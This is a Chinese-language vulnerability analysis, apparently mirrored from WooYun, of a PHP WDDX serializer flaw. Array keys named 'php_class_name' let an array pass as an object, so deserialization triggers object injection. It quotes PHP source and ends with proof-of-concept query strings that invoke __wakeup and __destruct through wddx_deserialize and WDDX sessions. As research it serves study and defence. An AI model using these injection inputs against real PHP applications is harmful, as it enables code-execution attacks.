PHP WDDX Serializier Data Injection Vulnerability

wyzsk發表於2020-08-19
作者: Ryat · 2014/11/14 16:38

PHP 在把陣列序列化為 WDDX 結構的過程中,沒有對陣列的鍵名嚴格限制,導致可以偽造物件的 WDDX 結構。

i 序列化物件


PHP 在把物件序列化為 WDDX 結構時,會做如下處理:

#!cpp
static void php_wddx_serialize_object(wddx_packet *packet, zval *obj)
...
        php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
        snprintf(tmp_buf, WDDX_BUF_LEN, WDDX_VAR_S, PHP_CLASS_NAME_VAR);
        php_wddx_add_chunk(packet, tmp_buf);
        php_wddx_add_chunk_static(packet, WDDX_STRING_S);
        php_wddx_add_chunk_ex(packet, class_name->val, class_name->len);
        php_wddx_add_chunk_static(packet, WDDX_STRING_E);
        php_wddx_add_chunk_static(packet, WDDX_VAR_E);
}

比如下面程式碼中的變數 $obj:

#!php
class ryat {
    var $hi;
    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi, "\n";
    }
}

$obj = new ryat();
$obj->hi = 'ryat';

var_dump(wddx_serialize_value($obj));

經過 wddx_serialize_value() 函式序列化的 WDDX 結構如下:

<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>

ii 序列化陣列


PHP 把陣列序列化為 WDDX 結構時,會做如下處理:

#!cpp
static void php_wddx_serialize_array(wddx_packet *packet, zval *arr)
{
...
    target_hash = HASH_OF(arr);
    ZEND_HASH_FOREACH_KEY(target_hash, idx, key) {
        if (key) {
            is_struct = 1;
            break;
        }

        if (idx != ind) {
            is_struct = 1;
            break;
        }
        ind++;
    } ZEND_HASH_FOREACH_END();

    if (is_struct) {
        php_wddx_add_chunk_static(packet, WDDX_STRUCT_S);
    } else {
        snprintf(tmp_buf, sizeof(tmp_buf), WDDX_ARRAY_S, zend_hash_num_elements(target_hash));
        php_wddx_add_chunk(packet, tmp_buf);
    }

    ZEND_HASH_FOREACH_KEY_VAL(target_hash, idx, key, ent) {
        if (ent == arr) {
            continue;
        }

        if (is_struct) {
            if (key) {
                php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
            } else {
                key = zend_long_to_str(idx);
                php_wddx_serialize_var(packet, ent, key TSRMLS_CC);
                zend_string_release(key);
            }
        } else {
            php_wddx_serialize_var(packet, ent, NULL TSRMLS_CC);
        }
    } ZEND_HASH_FOREACH_END();

    if (is_struct) {
        php_wddx_add_chunk_static(packet, WDDX_STRUCT_E);
    } else {
        php_wddx_add_chunk_static(packet, WDDX_ARRAY_E);
    }
}
...
void php_wddx_serialize_var(wddx_packet *packet, zval *var, zend_string *name TSRMLS_DC)
{
...
    if (name) {
        char *tmp_buf;
        zend_string *name_esc;

        name_esc = php_escape_html_entities(name->val, name->len, 0, ENT_QUOTES, NULL TSRMLS_CC);
        tmp_buf = emalloc(name_esc->len + sizeof(WDDX_VAR_S));
        snprintf(tmp_buf, name_esc->len + sizeof(WDDX_VAR_S), WDDX_VAR_S, name_esc->val);
        php_wddx_add_chunk(packet, tmp_buf);
        efree(tmp_buf);
        zend_string_release(name_esc);
    }

從上面的程式碼可以看到,陣列序列化後的 WDDX 結構主要分為兩種,一種是沒有指定鍵名的陣列的處理,比如下面程式碼中的變數 $arr:

#!php
$arr = array('hi', 'ryat');

var_dump(wddx_serialize_value($arr));

經過 wddx_serialize_value() 函式序列化的 WDDX 結構如下:

<wddxPacket version='1.0'><header/><data><array length='2'><string>hi</string><string>ryat</string></array></data></wddxPacket>

另一種則是對指定鍵名的陣列的處理,比如下面程式碼中的變數 $arr:

#!php
$arr = array('hi'=>'hi', 'ryat'=>'ryat');

var_dump(wddx_serialize_value($arr));

經過 wddx_serialize_value() 函式序列化的 WDDX 結構如下:

<wddxPacket version='1.0'><header/><data><struct><var name='hi'><string>hi</string></var><var name='ryat'><string>ryat</string></var></struct></data></wddxPacket>

iii 偽造物件的 WDDX 結構


透過上面的分析,簡單瞭解 WDDX 結構儲存 PHP 陣列和物件的具體格式,物件的儲存格式和指定鍵名的陣列的儲存格式非常接近,區別只在於,物件的儲存格式多了對類名的儲存:

<var name='php_class_name'><string>ryat</string></var>

PHP 在把陣列序列化 WDDX 結構過程中,僅僅呼叫了 php_escape_html_entities() 函式處理,然後直接構造 WDDX_VAR_S:

#define WDDX_VAR_S              "<var name='%s'>"

那麼如果陣列中存在一個值為 php_class_name 的鍵名,就可以構造出:

<var name='php_class_name'><string>ryat</string></var>

這時序列化的 WDDX 結構就和物件的一樣了,如下面程式碼中的變數 $arr:

#!php
$arr = array('php_class_name'=>'ryat', 'hi'=>'ryat');

var_dump(wddx_serialize_value($arr));

經過 wddx_serialize_value() 函式序列化的 WDDX 結構如下:

<wddxPacket version='1.0'><header/><data><struct><var name='php_class_name'><string>ryat</string></var><var name='hi'><string>ryat</string></var></struct></data></wddxPacket>

可以看到,序列化的 WDDX 結構和第一個例子中的 $obj 物件序列化的 WDDX 結構是一樣的,也就說,透過一個特殊的陣列偽造了一個物件的 WDDX 結構:)

iv 安全隱患


PHP 反序列化 WDDX 結構的處理過程類似於 unserialize() 函式,透過對特定的 WDDX 結構反序列化,可以生成一個物件,並執行類的 __wakeup() 方法(如果存在的話),在物件被銷燬或者指令碼執行結束時會執行類的 __destruct() 方法(如果存在的話),那麼安全隱患隨之而來。而比 unserialize() 函式更危險的是,反序列化過程和序列化過程都可能存在安全問題:)

i) 利用 wddx_deserialize() 函式

#!php
class ryat {
    var $hi;
    function __wakeup() {
        echo 'hi';
    }
    function __destruct() {
        echo $this->hi, "\n";
    }
}

wddx_deserialize(wddx_serialize_value($_GET['arr']);

透過下面的方式,可以成功執行 __wakeup() 方法和 __destruct() 方法:)

?arr[php_class_name]=ryat&arr[hi]=ryat

ii) 利用 $_SESSION 進行序列化和反序列化

PHP 在儲存和讀取 $_SESSION 時會對資料進行序列化和反序列化,預設情況下與 serialize() 函式和 unserialize() 函式的處理方式相同,但是 PHP 提供了一個 session.serialize_handler 配置選項,可以使用 WDDX 格式進行序列化和反序列化:)

#!php
ini_set('session.serialize_handler', 'wddx');
session_start();

$_SESSION['arr'] = $_GET['arr'];

透過下面的方式,就可以偽造成物件的 WDDX 結構:)

?arr[php_class_name]=ryat&arr[hi]=ryat

from:http://www.80vul.com/pch/pch-014.txt

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章